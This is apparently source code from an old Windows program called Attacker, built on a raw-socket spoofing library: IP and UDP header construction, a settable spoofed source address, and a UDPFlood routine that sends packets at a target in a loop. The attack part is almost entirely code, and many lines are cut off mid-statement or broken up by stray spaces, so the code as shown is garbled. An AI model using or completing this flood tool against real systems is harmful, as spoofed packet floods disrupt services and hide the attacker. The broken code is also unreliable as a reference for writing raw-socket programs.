lpUDP->Checksum=CalculateP seudoCheck sum(tmpBuf ,iTotalLen gth,lpDest inationAdd ress,iTota lLength);
//Recopy it
memcpy(tmpBuf,lpUDP,UDPHea derLength) ;
//Send it
bResult=CSpoofSocket::Send (lpDestina tionAddres s,g_nData) ;
//Delete
delete tmpBuf;
}
else
{
//Update it
lpUDP->Checksum=CalculateP seudoCheck sum((char* )lpUDP,UDP HeaderLeng th,lpDesti nationAddr ess,UDPHea derLength) ;
//Send it
bResult=CSpoofSocket::Send (lpDestina tionAddres s,g_nData) ;
}
//Clean up
delete lpUDP;
return bResult;
}
BOOL CUDPSocket::SetBroadcast(B OOL bBroadcast)
{
//Set broadcast option
if(setsockopt(getHandle(), SOL_SOCKET ,SO_BROADC AST,(char* )&bBroadca st,sizeof( bBroadcast ))==SOCKET _ERROR)
{
//Check for options error
SetLastError();
return FALSE;
}
return TRUE;
}
Spoofsocket.CPP source:
#include "stdafx.h"
#include "BinaryTree.h"
#include "SpoofSocket.h"
#include "Attacker.h"
#include "AttackerDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CString g_nData;
//Message handler
LRESULT CALLBACK SocketMessageHandler(HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam) // second message parameter
{
//first get the socket
CSpoofSocket* cSock;
cSock=CSpoofSocket::GetSoc
if (cSock)
//Socket exists
switch (uMsg)
{
case WM_SOCKET_GENERAL:
if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketReceive(WSA
else if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketWrite(WSAGE
else if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketOOB(WSAGETS
else if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketClose(WSAGE
break;
case WM_SOCKET_CONNECT:
if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketConnect(WSA
break;
case WM_SOCKET_ACCEPT:
if (WSAGETSELECTEVENT(lParam)
return cSock->OnSocketAccept(WSAG
break;
case WM_TIMER:
//Inform the socket
return cSock->OnSocketTimeout();
default: /* Passes it on if unproccessed */
return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));
}
else
return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));
return TRUE;
}
//////////////////////////
// CSpoofSocket
CSpoofSocket::CSpoofSocket
{
InitializeIP();
}
CSpoofSocket::CSpoofSocket
{
AssignSocket(sok);
}
CSpoofSocket::~CSpoofSocke
{
//Delete options
SetOptions(FALSE);
Close();
}
//////////////////////////
// CSpoofSocket member functions
BOOL CSpoofSocket::Create(int iProtocol)
{
//Here we create the raw socket
m_SpoofSocket=socket(AF_IN
//Check for socket validity
if (m_SpoofSocket==INVALID_SO
{
//Error
m_LastError=WSAGetLastErro
return FALSE;
}
if (m_Raw)
{
//Set that the application will send the IP header
unsigned int iTrue=1;
if(setsockopt(m_SpoofSocke
{
//Check for options error
m_LastError=WSAGetLastErro
return FALSE;
}
if (iProtocol==IPPROTO_ICMP)
SetHandlers();
}
else
SetHandlers();
//Well no errors
m_LastError=0;
//Add socket to list
AddSocketToList();
return TRUE;
}
BOOL CSpoofSocket::Send(LPCSTR lpDestinationAddress,LPCST
{
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Define the target address
sockaddr_in m_TargetAddress;
memset(&m_TargetAddress,0,
m_TargetAddress.sin_family
m_TargetAddress.sin_addr.s
m_TargetAddress.sin_port=0
//packet send status ?
int iResult;
//Only if allowing raw headers !!
if (m_Raw)
{
//Header length
unsigned char ucHeaderLength=IpHeaderLen
if (m_Options)
ucHeaderLength+=m_IPOption
//First construct the packet
LPIpHeader lpHead=ConstructIPHeader(g
//Set the address
SetIPHeaderAddress(lpHead,
//Now add some more options
int iTotalLength;
iTotalLength=ucHeaderLengt
//Set the header
lpHead->TotalLength=htons(
//Need to construct a new packet
char* newBuf=new char[iTotalLength];
//Copy two buffers
memcpy(newBuf,lpHead,IpHea
//Do we need to copy options ?
if (m_Options)
memcpy(newBuf+IpHeaderLeng
//Only if not null
//if (buf)
//memcpy(newBuf+ucHeaderLe
//Calculate the checksum
lpHead->CheckSum=Calculate
//Recopy the ip
memcpy(newBuf,lpHead,IpHea
//Send the data
iResult=sendto(getHandle()
//Dispose of the buffer
delete newBuf;
//Dispose the header
delete lpHead;
}
else
{
iResult=!SOCKET_ERROR;
//Insert options
if (m_Options)
if (setsockopt(getHandle(),IP
//Error
iResult=SOCKET_ERROR;
else
;
else
//No options
//iResult=setsockopt(getHa
;
//Check if we had an error
if (iResult!=SOCKET_ERROR)
//Use regular send !!!
//iResult=sendto(getHandle
;
}
if (iResult==SOCKET_ERROR)
//Set the error
SetLastError();
else
m_LastError=0;
return iResult!=SOCKET_ERROR;
}
LPIpHeader CSpoofSocket::ConstructIPH
unsigned short usFragmentationFlags,
unsigned char ucTTL,
unsigned short usIdentification,
unsigned char ucHeaderLength)
{
//Need to construct the IP header
LPIpHeader lpHead=new _IpHeader;
//Header length (in 32 bits)
lpHead->HeaderLength_Versi
//Protocol
lpHead->Protocol=ucProtoco
//Fragmentation flags
lpHead->FragmentationFlags
//Time to live
lpHead->TTL=ucTTL;
//Checksum - set to 0
lpHead->CheckSum=0;
//Identification
lpHead->Identification=hto
//Precedence
lpHead->TypeOfService=IpSe
//Return IP to user
return lpHead;
}
void CSpoofSocket::SetIPHeaderA
{
//We need to place the header
//If source is NULL then we need to use default source
if (!lpSourceAddress)
{
//We will implement it
}
else
//Use sockets2
lpHead->sourceIPAddress=in
//Place destination address
lpHead->destIPAddress=inet
//Done
}
void CSpoofSocket::SetLastError
{
m_LastError=WSAGetLastErro
}
int CSpoofSocket::GetLastError
{
return m_LastError;
}
BOOL CSpoofSocket::ValidSocket(
{
return m_SpoofSocket!=INVALID_SOC
}
unsigned short CSpoofSocket::CalculateChe
{
unsigned long usChksum=0;
//Calculate the checksum
while (iSize>1)
{
usChksum+=*usBuf++;
iSize-=sizeof(unsigned short);
}
//If we have one char left
if (iSize)
usChksum+=*(unsigned char*)usBuf;
//Complete the calculations
usChksum=(usChksum >> 16) + (usChksum & 0xffff);
usChksum+=(usChksum >> 16);
//Return the value (inversed)
return (unsigned short)(~usChksum);
}
BOOL CSpoofSocket::Bind(LPCSTR lpSourceAddress,int iPort)
{
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Create the local address
sockaddr_in soSrc;
//Set to 0
memset(&soSrc,0,sizeof(soS
soSrc.sin_family=AF_INET;
soSrc.sin_addr.s_addr=inet
soSrc.sin_port=htons(iPort
//Now we need to bind it
if (bind(getHandle(),(sockadd
{
//Error
m_LastError=WSAGetLastErro
return FALSE;
}
m_LastError=0;
//If already has a source address then don't change it
if (!m_SourceAddress)
m_SourceAddress=lpSourceAd
return TRUE;
}
SOCKET CSpoofSocket::getHandle()
{
return m_SpoofSocket;
}
BOOL CSpoofSocket::CheckSocketV
{
//Check if socket is invalid
if (!ValidSocket())
{
m_LastError=WSAESHUTDOWN;
return FALSE;
}
//OK
return TRUE;
}
BOOL CSpoofSocket::Close()
{
//Close the socket
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Close it
if (closesocket(getHandle())=
{
//Error in closing ?
m_LastError=WSAGetLastErro
return FALSE;
}
//Set the socket to invalid
m_SpoofSocket=INVALID_SOCK
//Remove from tree
RemoveSocketFromList();
return TRUE;
}
BOOL CSpoofSocket::InitializeSo
{
//Initialize the sockets
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err!=0)
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
return FALSE;
/* Confirm that the WinSock DLL supports 2.2.*/
/* Note that if the DLL supports versions greater */
/* than 2.2 in addition to 2.2, it will still return */
/* 2.2 in wVersion since that is the version we */
/* requested. */
if (LOBYTE(wsaData.wVersion)!
{
/* Tell the user that we could not find a usable */
/* WinSock DLL. */
WSACleanup();
return FALSE;
}
//OK
//Intialize the tree
if (!m_SocketTree)
m_SocketTree=new CBinaryTree;
return TRUE;
}
void CSpoofSocket::SetProtocol(
{
m_Protocol=iProtocol;
}
void CSpoofSocket::SetSourceAdd
{
//Set the source address, in case we want to spoof it
m_SourceAddress=lpSourceAd
}
unsigned short CSpoofSocket::CalculatePse
{
//Calculate the checksum
LPPseudoHeader lpPseudo;
lpPseudo=new PseudoHeader;
lpPseudo->DestinationAddre
lpPseudo->SourceAddress=in
lpPseudo->Zeros=0;
lpPseudo->PTCL=m_Protocol;
lpPseudo->Length=htons(iPa
//Calculate checksum of all
int iTotalLength;
iTotalLength=PseudoHeaderL
char* tmpBuf;
tmpBuf=new char[iTotalLength];
//Copy pseudo
memcpy(tmpBuf,lpPseudo,Pse
//Copy header
memcpy(tmpBuf+PseudoHeader
//Calculate the checksum
unsigned short usChecksum;
usChecksum=CalculateChecks
//Delete all
delete tmpBuf;
delete lpPseudo;
//Return checksum
return usChecksum;
}
void CSpoofSocket::SetTTL(unsig
{
if (m_Raw)
{
//Set the ttl
m_TTL=ucTTL;
}
else
setsockopt(getHandle(),IPP
}
BOOL CSpoofSocket::Listen(int iBackLog)
{
int iResult;
iResult=listen(getHandle()
if (iResult)
SetLastError();
return !iResult;
}
BOOL CSpoofSocket::ShutdownSock
{
//Clear windows
BOOL bHandlers;
bHandlers=RemoveHandlers()
//Delete tree
delete m_SocketTree;
m_SocketTree=NULL;
if (WSACleanup()==SOCKET_ERRO
{
SetLastError();
return FALSE;
}
else
return bHandlers;
}
void CSpoofSocket::SetRaw(BOOL bRaw)
{
//Do we want to create raw socket (YES!!)
m_Raw=bRaw;
}
void CSpoofSocket::SetOptions(B
{
//Do we want options, normaly not
m_Options=bOptions;
if (m_IPOptions)
{
delete m_IPOptions;
m_IPOptions=NULL;
}
if (bOptions)
m_IPOptions=new CIPOptions;
}
CIPOptions::CIPOptions()
{
//Initialize our buffer
m_Buffer=new char[IPOption_SIZE];
//Set our buffer to nothing
Reset();
//Our buffer length
m_BufferLength=0;
//Set auto pad
m_AutoPAD=TRUE;
}
CIPOptions::~CIPOptions()
{
delete m_Buffer;
}
void CIPOptions::AddOption_Noth
{
//Add option do nothing
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO
////Add it to buffer
//AddToBuffer((char*)&OT,s
}
tOptionType CIPOptions::GetOption(unsi
{
//Return a single option type
return CopyFlag | ClassFlag | TypeFlag;
}
void CIPOptions::AddToBuffer(ch
{
if (m_BufferLength<IPOption_S
{
//Add our option to the buffer
/*memcpy(m_Buffer+m_Buffer
m_BufferLength+=BufLength;
}
}
const char* CIPOptions::GetBuffer()
{
return m_Buffer;
}
int CIPOptions::GetBufferLengt
{
//Check if auto pad or not
if (m_AutoPAD)
if (m_BufferLength/IPOption_W
return m_BufferLength;
else
return int((float)m_BufferLength/
else
return m_BufferLength;
}
void CIPOptions::AddOption_ENDL
{
//End the list of options
tOptionType OT;
//Get the option
OT=GetOption(IPOption_DONT
////Add it to buffer
//AddToBuffer((char*)&OT,s
}
void CIPOptions::SetAutoPad(BOO
{
m_AutoPAD=bAutoPAD;
}
CIPOptions* CSpoofSocket::GetOptions()
{
return m_IPOptions;
}
void CIPOptions::Reset()
{
//Set all to zeros
memset(m_Buffer,0,IPOption
}
void CIPOptions::AddOption_Secu
{
////Add option security
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO
////Add it to buffer
//AddToBuffer((char*)&OT,s
////Add length
//OT=IPOption_SECURITY_LEN
//AddToBuffer((char*)&OT,s
////Add options
//AddToBuffer((char*)&usTy
//Add zeros
unsigned short usZeros=0;
unsigned char ucZeros=0;
//A hacker would enumarate these values, according to the RFC
//Compartments
//AddToBuffer((char*)&usZe
////Handling restrictions
//AddToBuffer((char*)&usZe
////Transmition control code (TCC)
//AddToBuffer((char*)&usZe
//AddToBuffer((char*)&ucZe
////Done
}
void CIPOptions::AddOption_Stre
{
// //Add option security
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO
////Add it to buffer
//AddToBuffer((char*)&OT,s
////Add length
//OT=IPOption_STREAM_LENGT
//AddToBuffer((char*)&OT,s
////Add options
//unsigned short usnStreamID;
//usnStreamID=htons(usStre
//AddToBuffer((char*)&usnS
}
void CIPOptions::AddOption_Stri
{
/*AddOption_Route(IPOption
}
void CIPOptions::AddOption_Reco
{
////Option for strict routine
////Add option strict route
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO
////Add it to buffer
//AddToBuffer((char*)&OT,s
////Add the length
//OT=iMaxRoutes*4+IPOption
//AddToBuffer((char*)&OT,s
//
////Add the pointer
//OT=IPOption_STRICT_ROUTI
//AddToBuffer((char*)&OT,s
//
//char cNothing[IPOption_SIZE]=""
//AddToBuffer(cNothing,iMa
}
void CIPOptions::AddOption_Rout
{
//Option for strict routine
//Add option strict route
tOptionType OT;
////Get the option
//OT=GetOption(IPOption_CO
////Add it to buffer
//AddToBuffer((char*)&OT,s
////Add the length
//OT=tRoute.iRoutes*4+IPOp
//AddToBuffer((char*)&OT,s
//
////Add the pointer
//OT=IPOption_STRICT_ROUTI
//AddToBuffer((char*)&OT,s
//
////Add the routing table
//AddToBuffer((char*)tRout
}
void CIPOptions::AddOption_Loos
{
AddOption_Route(IPOption_L
}
void CIPOptions::AddOption_Time
{
////Add option for timestamp
//tOptionType OT;
////Get the option
//OT=GetOption(IPOption_DO
////Add it to buffer
//AddToBuffer((char*)&OT,s
////Add the length
//OT=iMaxStamps*IPOption_T
//AddToBuffer((char*)&OT,s
//
////Add the pointer
//OT=IPOption_TIMESTAMP_LE
//AddToBuffer((char*)&OT,s
////Add the flags
//AddToBuffer((char*)&tFla
////Add the empty buffer
//char cNothing[IPOption_SIZE]=""
//AddToBuffer(cNothing,iMa
}
BOOL CSpoofSocket::SetHandlers(
{
//Check if we allow async sockets
if (!m_Async)
return TRUE;
//First create the window class
if (!m_Window)
if (!RegisterWindow())
{
//Error
m_LastError=::GetLastError
return FALSE;
}
else
{
m_WindowHandle=CreateWindo
WS_OVERLAPPED,0,0,0,0,0,NU
//Check the value of the window
if (!m_WindowHandle)
{
//Error
m_LastError=::GetLastError
return FALSE;
}
else
//We have a window
m_Window=TRUE;
}
//Created !!
//Success
return TRUE;
}
HINSTANCE CSpoofSocket::GetInstance(
{
//Returns the instance of the application, must be overided
return m_Instance;
}
BOOL CSpoofSocket::OnSocketRece
{
//Must override!
return TRUE;
}
BOOL CSpoofSocket::OnSocketWrit
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketOOB(
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketClos
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketAcce
{
return TRUE;
}
BOOL CSpoofSocket::OnSocketConn
{
return TRUE;
}
int CSpoofSocket::GetSocketID(
{
return m_SocketID;
}
CSpoofSocket* CSpoofSocket::GetSocketByI
{
//Get the socket
CBinaryTree* retVal;
retVal=m_SocketTree->getNo
//Check if valid
if (retVal)
//Got socket
return (CSpoofSocket*)retVal->get
else
//Nothing
return NULL;
}
BOOL CSpoofSocket::RegisterWind
{
WNDCLASS wc;
/* Fill in window class structure with parameters that describe the */
/* main window. */
wc.style = 0; /* Class style(s). */
wc.lpfnWndProc = (WNDPROC)SocketMessageHand
/* windows of this class. */
wc.cbClsExtra = 0; /* No per-class extra data. */
wc.cbWndExtra = 0; /* No per-window extra data. */
wc.hIcon = NULL; /* Icon name from .RC */
wc.hInstance = GetInstance(); /* Application that owns the class. */
wc.hCursor = NULL;
wc.hbrBackground = NULL;
wc.lpszMenuName = NULL; /* Name of menu resource in .RC file. */
wc.lpszClassName = CSpoofSocket_Class ; /* Name used in call to CreateWindow. */
/* Register the window class and return success/failure code. */
return (RegisterClass(&wc));
}
//Static members
CBinaryTree* CSpoofSocket::m_SocketTree
BOOL CSpoofSocket::m_Window=FAL
HWND CSpoofSocket::m_WindowHand
void CSpoofSocket::SetInstance(
{
m_Instance=hInst;
}
BOOL CSpoofSocket::isRaw()
{
return m_Raw;
}
BOOL CSpoofSocket::RemoveHandle
{
//First shut down the windows
if (m_Window)
{
if (!DestroyWindow(m_WindowHa
return FALSE;
if (!UnregisterClass(CSpoofSo
return FALSE;
}
m_Window=FALSE;
m_WindowHandle=NULL;
return TRUE;
}
HWND CSpoofSocket::getWindowHan
{
return m_WindowHandle;
}
void CSpoofSocket::InitializeIP
{
//Invalid the socket
m_SpoofSocket=INVALID_SOCK
//More invalids
m_SourceAddress=NULL;
//Some defaults
m_TTL=g_nTTLVAR;
//We don't want raw header (so it can work on win 98/NT)
m_Raw=FALSE;
//Set our options
m_IPOptions=NULL;
//Set options to false
SetOptions(FALSE);
//We want async socket
SetBlocking(FALSE);
}
void CSpoofSocket::AssignSocket
{
//Binds to a socket
m_SpoofSocket=sok;
//Set non raw
SetRaw(FALSE);
//Set the handlers
SetHandlers();
//Append socket to list
AddSocketToList();
}
void CSpoofSocket::AddSocketToL
{
//Add socket to list
m_SocketID=m_SpoofSocket;
m_SocketTree->newNode(GetS
}
void CSpoofSocket::RemoveSocket
{
m_SocketTree->deleteNode(m
}
int CSpoofSocket::Receive(char
{
if (!ValidSocket())
return SOCKET_ERROR;
//Receive data
int iResult;
//Receive
if (m_Protocol!=IPPROTO_TCP)
iResult=recvfrom(getHandle
else
iResult=recv(getHandle(),b
//Check if error
if (iResult==SOCKET_ERROR)
//Error
SetLastError();
//Number of bytes received
return iResult;
}
char FAR * CSpoofSocket::LongToString
{
//First create the address
in_addr addr;
//Assign it
addr.S_un.S_addr=lAddr;
//Return the value
return inet_ntoa(addr);
}
BOOL CSpoofSocket::OnSocketTime
{
//Indicating timeout proccessed
return FALSE;
}
BOOL CSpoofSocket::SetTimeout(i
{
if (!m_Window)
return FALSE;
//Set the timer
return SetTimer(getWindowHandle()
}
BOOL CSpoofSocket::KillTimer()
{
if (!m_Window)
return FALSE;
return ::KillTimer(getWindowHandl
}
BOOL CSpoofSocket::ValidAddress
{
return inet_addr(lpAddress)!=INAD
}
void CSpoofSocket::SetBlocking(
{
//Do we want blocking socket
m_Async=!bBlock;
}
SpoofSocket.H header file:
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_SPOOFSOCKET_H
#define AFX_SPOOFSOCKET_H__5BAEA06
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SpoofSocket.h : header file
//
#include <winsock2.h>
#include <ws2tcpip.h>
//////////////////////////
// CSpoofSocket command target
//////////////////////////
// //
// IP Header //
// Implementation of RFC791 IP Header //
// //
//////////////////////////
typedef struct _PseudoHeader
{
unsigned int SourceAddress;
unsigned int DestinationAddress;
unsigned char Zeros;
unsigned char PTCL;
unsigned short Length;
} PseudoHeader;
typedef PseudoHeader FAR * LPPseudoHeader;
#define PseudoHeaderLength sizeof(PseudoHeader)
#define tOptionType unsigned char
typedef struct _IPOption
{
tOptionType OptionType;
unsigned char OptionLength;
unsigned char OptionData;
} IPOption;
//IP Options flags (1bit)
#define IPOption_COPY 128
#define IPOption_DONT_COPY 0
//IP Options class (2 bits)
#define IPOption_CONTROL 0
#define IPOption_RESERVED 2
#define IPOption_DEBUGGING 64
#define IPOption_RESERVED2 6
//IP options type
#define IPOption_END_OPTION 0 //End of option list
#define IPOption_NO_OPERATION 1 //Do nothing
#define IPOption_SECURITY 2 //Security information
#define IPOption_LOOSE_ROUTING 3 //Loose routing options
#define IPOption_STRICT_ROUTING 9 //Strict source routing
#define IPOption_RECORD_ROUTE 7 //Record route on datagram
#define IPOption_STREAM 8 //Used to carry stream identifier
#define IPOption_TIMESTAMP 4 //Internet timestamp
//IP options extensions - Security
#define IPOption_SECURITY_LENGTH 11
#define IPOption_SECURITY_UNCLASSI
#define IPOption_SECURITY_CONFIDEN
#define IPOption_SECURITY_EFTO 0x0111100010011010b
#define IPOption_SECURITY_MMMM 0x1011110001001101b
#define IPOption_SECURITY_PROG 0x0101111000100110b
#define IPOption_SECURITY_RESTRICT
#define IPOption_SECURITY_SECRET 0x1101011110001000b
#define IPOption_SECURITY_TOPSECRE
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
#define IPOption_SECURITY_RESERVED
//IP options extensions - Stream ID
#define IPOption_STREAM_LENGTH 4
//IP options extensions - Strict routing
#define IPOption_STRICT_ROUTING_LE
#define IPOption_STRICT_ROUTING_PO
//IP options extensions - Time Stamp
#define IPOption_TIMESTAMP_LENGTH 5
#define IPOption_TIMESTAMP_ONLY 0
#define IPOption_TIMESTAMP_EACH 1
#define IPOption_TIMESTAMP_PRE 2
#define IPOption_TIMESTAMP_SIZE 8
typedef struct _IpHeader
{
unsigned char HeaderLength_Version;
unsigned char TypeOfService; // Type of service
unsigned short TotalLength; // total length of the packet
unsigned short Identification; // unique identifier
unsigned short FragmentationFlags; // flags
unsigned char TTL; // Time To Live
unsigned char Protocol; // protocol (TCP, UDP etc)
unsigned short CheckSum; // IP Header checksum
unsigned int sourceIPAddress; // Source address
unsigned int destIPAddress; // Destination Address
} IpHeader;
typedef IpHeader FAR * LPIpHeader;
#define IpHeaderLength sizeof(IpHeader)
//Some IP constants
//Version
#define IpVersion 4
//Service types
#define IpService_NETWORK_CONTROL 111
#define IpService_INTERNETWORK_CON
#define IpService_CRITIC_ECP 101
#define IpService_FLASH_OVERIDE 100
#define IpService_FLASH 011
#define IpService_IMMEDIATE 010
#define IpService_PRIORITY 001
#define IpService_ROUTINE 0
//Fragmetation flag
#define IpFragFlag_MAY_FRAG 0x0000
#define IpFragFlag_MORE_FRAG 0x2000
#define IpFragFlag_LAST_FRAG 0x5000
#define IpFragFlag_DONT_FRAG 0x4000
//Internet protocols
#define IpProtocol_ICMP 1
#define IpProtocol_TCP 6
#define IpProtocol_UDP 17
#define IP_DEF_TTL 1
#define IPOption_WRAPSIZE 4
#define IPOption_SIZE 40
#define IPOption_MAX_ROUTES 10
typedef struct _Routing
{
int iRoutes;
unsigned long ulRoutes[IPOption_MAX_ROUT
} tRouting;
class CBinaryTree;
class CIPOptions
{
public:
CIPOptions();
virtual ~CIPOptions();
private:
BOOL m_AutoPAD;
int m_BufferLength;
char* m_Buffer;
protected:
void AddOption_Route(tOptionTyp
void AddToBuffer(char* buf,int BufLength);
tOptionType GetOption(unsigned char CopyFlag,unsigned char ClassFlag,unsigned char TypeFlag);
public:
void AddOption_Timestamp(tOptio
void AddOption_LooseRoute(tRout
void AddOption_RecordRoute(int iMaxRoutes);
void AddOption_StrictRoute(tRou
void AddOption_Stream(unsigned short usStreamID);
virtual void AddOption_Security(unsigne
void Reset();
void SetAutoPad(BOOL bAutoPAD);
virtual void AddOption_ENDLIST();
int GetBufferLength();
const char* GetBuffer();
virtual void AddOption_Nothing();
};
//Message handlers
#define WM_BASE WM_USER
#define WM_SOCKET_GENERAL WM_BASE+1
#define WM_SOCKET_ACCEPT WM_BASE+2
#define WM_SOCKET_CONNECT WM_BASE+3
#define WM_SOCKET_TIMEOUT WM_BASE+4
//Window class name
#define CSpoofSocket_Class "CSpoofSocketClass"
class CSpoofSocket
{
// Attributes
public:
// Operations
public:
CSpoofSocket();
virtual ~CSpoofSocket();
// Overrides
public:
void SetBlocking(BOOL bBlock);
BOOL ValidAddress(LPCTSTR lpAddress);
BOOL KillTimer();
BOOL SetTimeout(int iMs);
char FAR * LongToString(long lAddr);
virtual int Receive(char* buf,int bufLen);
void SetInstance(HINSTANCE hInst);
int GetSocketID();
CIPOptions* GetOptions();
void SetOptions(BOOL bOptions);
void SetRaw(BOOL bRaw);
BOOL ShutdownSockets();
BOOL Listen(int iBackLog);
void SetTTL(unsigned char ucTTL);
unsigned short CalculatePseudoChecksum(ch
void SetSourceAddress(LPCSTR lpSourceAddress);
BOOL InitializeSockets();
BOOL Close();
virtual BOOL Bind(LPCSTR lpSourceAddress,int iPort=0);
int GetLastError();
virtual BOOL Send(LPCSTR lpDestinationAddress,LPCST
BOOL Create(int iProtocol);
protected:
void AssignSocket(SOCKET sok);
CSpoofSocket(SOCKET sok);
HWND getWindowHandle();
BOOL RemoveHandlers();
BOOL isRaw();
virtual BOOL OnSocketTimeout();
virtual BOOL OnSocketConnect(int iErrorCode);
virtual BOOL OnSocketAccept(int iErrorCode);
virtual BOOL OnSocketClose(int iErrorCode);
virtual BOOL OnSocketOOB(int iErrorCode);
virtual BOOL OnSocketWrite(int iErrorCode);
virtual BOOL OnSocketReceive(int iErrorCode);
virtual HINSTANCE GetInstance();
BOOL SetHandlers();
LPCSTR m_SourceAddress;
void SetProtocol(int iProtocol);
BOOL CheckSocketValid();
unsigned short CalculateChecksum(unsigned
BOOL ValidSocket();
void SetLastError();
SOCKET getHandle();
virtual void InitializeIP();
virtual void SetIPHeaderAddress(LPIpHea
virtual LPIpHeader ConstructIPHeader (unsigned char ucProtocol,
unsigned short usFragmentationFlags,
unsigned char ucTTL,
unsigned short usIdentification,
unsigned char ucHeaderLength);
private:
BOOL m_Async;
void RemoveSocketFromList();
void AddSocketToList();
HINSTANCE m_Instance;
static BOOL m_Window;
BOOL RegisterWindow();
static CSpoofSocket* GetSocketByID(int iSockID);
int m_SocketID;
static HWND m_WindowHandle;
CIPOptions* m_IPOptions;
BOOL m_Options;
BOOL m_Raw;
unsigned char m_TTL;
unsigned char m_Protocol;
int m_LastError;
SOCKET m_SpoofSocket;
static CBinaryTree* m_SocketTree;
friend LRESULT CALLBACK SocketMessageHandler(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam);
};
//////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_SPOOFSOCKET_H
UDP function call:
void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets
if (udp->Send(m_SourcePort,cD
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
}
UDP header:
// UDPSocket.h: interface for the CUDPSocket class.
//
//////////////////////////
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
